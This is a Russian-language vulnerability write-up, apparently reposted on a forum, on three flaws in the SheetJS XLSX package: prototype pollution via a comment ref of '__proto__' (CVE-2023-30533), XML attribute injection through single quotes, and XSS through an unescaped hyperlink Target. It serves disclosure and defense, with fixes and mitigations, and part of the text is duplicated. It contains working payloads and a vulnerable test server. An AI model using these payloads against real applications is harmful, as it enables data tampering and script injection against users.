Пакет XLSX, выпущенный компанией SheetJS, широко используется разработчиками для взаимодействия с электронными таблицами в форматах XLSX и XLSM, в том числе применяется в корпоративных продуктах. Анализируя пакет, мы нашли несколько уязвимостей. В этой статье я покажу, как они возникли и как их может эксплуатировать злоумышленник.
Давай вкратце посмотрим, как работает SheetJS. Когда файл электронной таблицы XLSX передается функции XLSX.readFile, происходит следующее:
Для дальнейшего анализа важно понимать, что такое comment.ref. Это значение попадает в код из файла threadedCommentXXX.xml (где XXX — номер документа с комментариями). Пример:
Обычно, когда файл создается в редакторе электронных таблиц, это не вызывает проблем, так как адреса ячеек редактор сгенерирует автоматически и это будут допустимые значения.
Однако разработчики пакета XLSX не учли, что злоумышленник может вручную создать файл XLSX с произвольным содержимым и специально сформировать адреса ячеек.
; Вносим изменение в желаемые файлы
Для успешной эксплуатации загрузим обычный файл, но с таким threadedComment:
В таком случае значение comments.ref будет равно __proto__, а cell будет содержать Object prototype.
Далее в коде функции находим обращение к cell:
Так как переменная содержит prototype, то массив запишется в свойство c прототипа объекта. Это приведет к тому, что при дальнейших проверках все комментарии будут записываться в один массив, так как значение cell.c будет всегда определено. Разработчикам следовало использовать такую конструкцию:
Давай набросаем доказательство концепции:
Этот скрипт принимает файл для обработки на эндпоинте /process, а при запросе /getSample возвращает пример обычного файла XLSX (который не содержит комментариев).
Сделаем несколько запросов на сервер. Сначала обратимся к /getSample и откроем файл, чтобы просмотреть его содержимое:
А теперь выполним серию запросов с нашим специальным файлом:
Теперь, если comment.ref содержит невалидное название ячейки таблицы, выполнение функции прервется.
Багу выдан идентификационный номер CVE-2023-30533.
Дело в том, что при создании файлов XLSX-атрибуты тегов внутри XML-структуры всегда обрамляются двойными кавычками. Пример:
В функции parsexmltag, которая отвечает за парсинг тегов, для извлечения значений атрибутов используется такое регулярное выражение:
Оно явно откуда‑то скопировано и реализует полный парсинг атрибутов в соответствии со стандартом RFC 5364. Здесь учтено, что атрибуты могут быть в двойных или в одинарных кавычках.
Теперь посмотрим функцию, которая отвечает за запись в theradedComment:
Тут ясно видно, что все части XML-документа собираются в массив, а затем объединяются в одну строку. Но в этом процессе нет фильтрации данных, поступающих в функцию writetag. Давай посмотрим, что у нее внутри:
Здесь понятно, что наши данные превращаются в теги, но без предварительной фильтрации или проверки.
В функции write_person_xml тоже нет фильтрации данных.
Используем уже готовый код сервера с уязвимой версией XLSX, чтобы подтвердить наличие проблемы.
Изменим файл person.xml следующим образом:
Как видно, displayName указан внутри одинарных кавычек. Отправим этот файл:
Теперь распакуем архив и просмотрим person.xml:
Тегу <threadedComment> был добавлен атрибут Slonser со значением SolidLab. Такого атрибута нет в стандартной структуре файлов формата XLSX.
Важный момент: для эксплуатации этого бага не требуется загружать файлы с комментариями. Если загрязнение прототипа уже произошло, то достаточно, чтобы имелась функция добавления комментариев.
В совокупности с багом, который мы обсуждали в первой части статьи, это приводит к изменению структуры XML-файла во всех следующих обрабатываемых файлах XLSX.
Изменение структуры XML может привести к различным проблемам, таким как:
В коде функции make_html_row можно заметить следующую строку:
Вызов cell.l.Target записывается в атрибут href без какой‑либо фильтрации. Следовательно, из этого вызова можно выйти при загрузке файла. Достаточно использовать трюк из прошлой части.
Давай воспроизведем этот баг. Вот серверный код, который будет обрабатывать XLSX и отправлять клиенту сгенерированный HTML:
Для демонстрации XSS нужно:

CVE этому багу не присвоили.
Если ты в своей программе используешь XLSX, это может привести к ряду рисков:
Автор slonser
источник
Давай вкратце посмотрим, как работает SheetJS. Когда файл электронной таблицы XLSX передается функции XLSX.readFile, происходит следующее:
- Функция проверяет тип файла, анализируя первые байты заголовка. Если тип файла распознан как ZIP-архив, процесс продолжается.
- Файл архива распаковывается в память процесса, что позволяет работать непосредственно с XML-файлами, описывающими структуру и данные электронной таблицы, а также с другими ресурсами, включая изображения и шрифты.
- Парсер, встроенный в библиотеку, начинает разбор XML-тегов. Он анализирует структуру файла и извлекает необходимые данные, такие как значения ячеек, форматирование и другие свойства таблицы.
- Полученные данные обычно представляются в виде удобных структур, таких как массивы или объекты, чтобы их можно было легко использовать в приложении.
LIMITED PROTOTYPE POLLUTION
Описание недостатка
Уязвимость, связанная с ограниченным загрязнением прототипа (Limited Prototype Pollution), возникает при обработке комментариев внутри загруженного документа в функции cmntcommon. В ней присваивается значение объекта по ключу, который может контролироваться пользователем.
Код:
else sheet[comment.ref] = cell;
Код:
<threadedComment ref="G7" dT="2023-04-11T09:41:09.71" personId="{29DB960B-0822-594C-AB20-3D499FA339C7}" id="{962D1EF3-37F7-FF40-983D-B0762466C0AF}">
Однако разработчики пакета XLSX не учли, что злоумышленник может вручную создать файл XLSX с произвольным содержимым и специально сформировать адреса ячеек.
Код:
7z x normal.xlsx
Код:
7z a NotNormal.zip ./\[Content_Types\].xml _rels/ docProps/ xl
mv NotNormal.zip NotNormal.xlsx
Код:
<threadedComment ref="__proto__" dT="2023-04-11T09:41:09.71" personId="{29DB960B-0822-594C-AB20-3D499FA339C7}" id="{962D1EF3-37F7-FF40-983D-B0762466C0AF}">
Далее в коде функции находим обращение к cell:
Код:
if (!cell.c) cell.c = [];
Код:
if (!cell.hasOwnProperty("c")) cell.c = [];
Код:
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
const XLSX = require("xlsx");
// Middleware для обработки файлов
app.use(fileUpload());
// Получение POST-запроса c обработкой загруженного файла
app.post('/process', function(req, res) {
if (!req.files || Object.keys(req.files).length === 0) {
return res.status(400).send('Не найдены загруженные файлы.');
}
// Получение загруженного файла
const uploadedFile = req.files.file;
let a = XLSX.read(uploadedFile.data);
/*
Далее может следовать любая обработка файла и т. д.
*/
res.send('Файл успешно обработан.');
});
// Обработка GET-запроса c выдачей простого документа
app.get('/getSample', function(req, res) {
var ws = XLSX.utils.aoa_to_sheet([["SheetJS"], [5433795],[123123]]);
var wb = XLSX.utils.book_new();
XLSX.utils.book_append_sheet(wb, ws, 'Sheet1');
const xlsxData = XLSX.write(wb, { type: 'buffer' });
// Возврат обработанного файла
res.set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
res.set('Content-Disposition', 'attachment; filename="processed_file.xlsx"');
res.send(xlsxData);
});
// Запуск сервера
app.listen(3000, function() {
console.log('Сервер запущен на порте 3000');
});
Сделаем несколько запросов на сервер. Сначала обратимся к /getSample и откроем файл, чтобы просмотреть его содержимое:
Код:
$ curl http://localhost:3000
/getSample -o sample.xlsx
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--100 22023 100 22023 0 0 1312k 0 --:--:-- --:--:-- --:--:-- 1955k
$ open sample.xlsx
А теперь выполним серию запросов с нашим специальным файлом:
Код:
$ curl -X POST --form file=@
/Users/slonser/hack_xslsx/slon.xlsx http://localhost:3000/process
Файл успешно обработан.⏎
$ curl http://localhost:3000
/getSample -o sample.xlsx
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--100 22023 100 22023 0 0 1312k 0 --:--:-- --:--:-- --:--:-- 1955k
$ open sample.xlsx
Реакция разработчиков
В версии 0.19.3 пакета XLSX разработчики постарались устранить этот баг. Они добавили такую проверку:
Код:
var r = decode_cell(comment.ref);
if(r.r < 0 || r.c < 0) return;
Багу выдан идентификационный номер CVE-2023-30533.
МОДИФИКАЦИЯ ФАЙЛОВ PERSON И THREADEDCOMMENT
Описание недостатка
Мы продолжили изучать функции, связанные с комментариями, и обнаружили возможность модифицировать файлы person и threadedComment внутри ZIP-архива.Дело в том, что при создании файлов XLSX-атрибуты тегов внутри XML-структуры всегда обрамляются двойными кавычками. Пример:
Код с оформлением (BB-коды):
<comments xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" ...
Код:
var attregexg=/([^"\s?>\/]+)\s*=\s*((?:")([^"]*)(?:")|(?:')([^']*)(?:')|([^'">\s]+))/g;
Теперь посмотрим функцию, которая отвечает за запись в theradedComment:
Код:
o.push(writextag('threadedComment', writetag('text', c.t||""), tcopts));
...
return o.join("");
Код:
function writetag(f,g) { return '<' + f + (g.match(wtregex)?' xml:space="preserve"' : "") + '>' + g + '</' + f + '>'; }
Код:
function write_people_xml(people/*, opts*/) {
var o = [XML_HEADER, writextag('personList', null, {
'xmlns': XMLNS.TCMNT,
'xmlns:x': XMLNS_main[0]
}).replace(/[\/]>/, ">")];
people.forEach(function(person, idx) {
o.push(writextag('person', null, {
displayName: person,
id: "{54EE7950-7262-4200-6969-" + ("000000000000" + idx).slice(-12) + "}",
userId: person,
providerId: "None"
}));
});
o.push("</personList>");
return o.join("");
}
Используем уже готовый код сервера с уязвимой версией XLSX, чтобы подтвердить наличие проблемы.
Изменим файл person.xml следующим образом:
Код:
<personList xmlns="http://schemas.microsoft.com/office/spreadsheetml/2018/threadedcomments" xmlns:x="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><person displayName='" Slonser="SolidLab' id="{29DB960B-0822-594C-AB20-3D499FA339C7}" userId="" providerId="AD"/></personList>
Код:
$ curl -X POST --form file=@/solidlab.xlsx http://local
host:3000/process
Файл успешно обработан.
$ curl http://localhost:3000/getSample -o solidlab1.xlsx
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 21760 100 21760 0 0 1561k 0 --:--:-- --:--:-- --:--:-- 2125k
Код:
><person displayName="SheetJ5" id="{54EE7950-7262-4200-6969-000000000000}" userId="SheetJ5" providerId="None"/><person displayName="" Slonser="SolidLab" id="{54EE7950-7262-4200-6969-000000000001}" userId="" Slonser="SolidLab"
Важный момент: для эксплуатации этого бага не требуется загружать файлы с комментариями. Если загрязнение прототипа уже произошло, то достаточно, чтобы имелась функция добавления комментариев.
В совокупности с багом, который мы обсуждали в первой части статьи, это приводит к изменению структуры XML-файла во всех следующих обрабатываемых файлах XLSX.
Изменение структуры XML может привести к различным проблемам, таким как:
- нарушение формата файла. Изменение структуры XML может дать неверный формат XLSX и, соответственно, ошибки при попытке его открыть или обработать;
- потеря данных. Изменение структуры XML может привести к потере или некорректному отображению данных в файле XLSX. Можно потерять данные в таблице;
- несоответствие ожидаемому поведению. Если приложение, использующее файлы XLSX, полагается на определенную структуру XML, то изменение этой структуры может привести к непредсказуемому поведению приложения. Как следствие — ошибки, некорректные вычисления или другие проблемы.
Реакция разработчиков
Этот недостаток не был исправлен. По мнению разработчиков пакета, баг не несет серьезных угроз безопасности вне контекста Prototype Pollution.XSS
Описание недостатка
Последний недостаток, который мы нашли в пакете XLSX, — уязвимость, связанная с межсайтовым скриптингом (XSS) в функции преобразования документа в HTML.В коде функции make_html_row можно заметить следующую строку:
Код:
if(cell.l && (cell.l.Target || "#").charAt(0) != "#") w = '<a href="' + cell.l.Target +'">' + w + '</a>';
Давай воспроизведем этот баг. Вот серверный код, который будет обрабатывать XLSX и отправлять клиенту сгенерированный HTML:
Код:
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
const XLSX = require("xlsx");
// Middleware для обработки файлов
app.use(fileUpload());
// Принимаем POST-запрос и обрабатываем загружаемый файл
app.post('/process', function(req, res) {
if (!req.files || Object.keys(req.files).length === 0) {
return res.status(400).send('Не найдены загруженные файлы.');
}
// Получаем загруженный файл
const uploadedFile = req.files.file;
let a = XLSX.read(uploadedFile.data);
console.log(a)
res.send(XLSX.utils.sheet_to_html(a.Sheets.Sheet1));
});
// Запускаем сервер
app.listen(3000, function() {
console.log('Сервер запущен на порте 3000');
});
- создать простой файл Excel и добавить ссылку на внешний ресурс в любую ячейку;
- распаковать файл Excel, чтобы иметь возможность редактировать его содержимое;
- в файле
./xl/worksheets/_rels/sheet1.xml.relsизменить атрибут Target на следующее значение:
Target='https://solidlab.ru/"><script>alert("Hello from SolidLab")</script>' - запаковать файл обратно в формат XLSX;
- отправить запрос с измененным файлом на сервер, который обрабатывает файлы XLSX.

Реакция разработчиков
Разработчики постарались устранить эту уязвимость в версии пакета XLSX 0.19.3. Теперь данные из Target проходят фильтрацию в функции escapehtml:
Код:
if(cell.l && (cell.l.Target || "#").charAt(0) != "#") w = '<a href="' + escapehtml(cell.l.Target) +'">' + w + '</a>';
ВЫВОДЫ
Итак, мы подробно рассмотрели ряд уязвимостей в пакете XLSX. Тут тебе и ограниченное загрязнение прототипа, и уязвимость межсайтового скриптинга (XSS).Если ты в своей программе используешь XLSX, это может привести к ряду рисков:
- при чтении недоверенных файлов XLSX возможна кража или модификация данных, кража чужих данных и увеличение нагрузки на сервер;
- при преобразовании недоверенных файлов XLSX в HTML (или принятия данных ячейки из недоверенных источников) возможна эксплуатация межсайтового скриптинга и кража данных пользователей.
РЕКОМЕНДАЦИИ
Чтобы не сталкиваться с описанной проблемой, я рекомендую следующее:- Обновление ПО. Настоятельно советую обновить пакет XLSX до версии 0.19.3 или более поздней, где эти уязвимости уже устранены.
- Валидация входных данных. Нужно уделить особое внимание валидации всех входных данных, передаваемых в функции XLSX. Это сделает приложение в целом намного безопаснее.
- Профилактика Prototype Pollution. Для предотвращения Prototype Pollution следует избегать прямого использования пользовательских входных данных в качестве ключей объекта. Если это неизбежно, рассмотри возможность применить механизм защиты, такой как фильтрация ключей или блокирование доступа к прототипам.
- Использование механизмов безопасности. По возможности применяй Content Security Policy для дополнительной защиты от XSS-атак.
Автор slonser
источник